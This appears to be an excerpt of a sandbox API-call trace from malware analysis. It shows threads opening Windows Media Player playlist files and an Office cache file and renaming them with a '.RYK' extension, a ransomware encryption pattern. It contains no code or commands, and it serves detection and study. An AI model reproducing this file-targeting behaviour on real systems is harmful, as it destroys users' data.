	[0262.586] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.586] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.586] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3231
	os_tid = 0x37a0

	[0262.588] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl", dwFileAttributes=0x80) returned 0
	[0262.588] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.588] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.588] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3232
	os_tid = 0x37a4

	[0262.589] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl", dwFileAttributes=0x80) returned 0
	[0262.589] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.589] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.590] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3233
	os_tid = 0x37a8

	[0262.591] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl", dwFileAttributes=0x80) returned 0
	[0262.591] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.591] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.591] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3234
	os_tid = 0x37ac

	[0262.593] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl", dwFileAttributes=0x80) returned 0
	[0262.593] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.593] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.593] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3235
	os_tid = 0x37b0

	[0262.595] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl", dwFileAttributes=0x80) returned 0
	[0262.595] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.595] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.595] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3236
	os_tid = 0x37b4

	[0262.597] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl", dwFileAttributes=0x80) returned 0
	[0262.597] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.597] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.597] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3237
	os_tid = 0x37b8

	[0262.598] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl", dwFileAttributes=0x80) returned 0
	[0262.598] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.598] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.598] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3238
	os_tid = 0x37bc

	[0264.543] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl", dwFileAttributes=0x80) returned 0
	[0264.629] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0264.629] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0264.630] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3251
	os_tid = 0x37f4

	[0264.631] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl", dwFileAttributes=0x80) returned 0
	[0264.631] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0264.631] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0264.631] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3252
	os_tid = 0x37f8

	[0264.633] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl", dwFileAttributes=0x80) returned 0
	[0264.633] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0264.633] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0264.633] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3253
	os_tid = 0x37fc

	[0264.634] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl", dwFileAttributes=0x80) returned 0
	[0264.634] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0264.634] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0264.635] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3254
	os_tid = 0x3104

	[0264.640] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD", dwFileAttributes=0x80) returned 1
	[0266.439] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsd-cnry.fsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918
	[0266.439] GetFileSizeEx (in: hFile=0x918, lpFileSize=0x920f7d8 | out: lpFileSize=0x920f7d8*=131072) returned 1
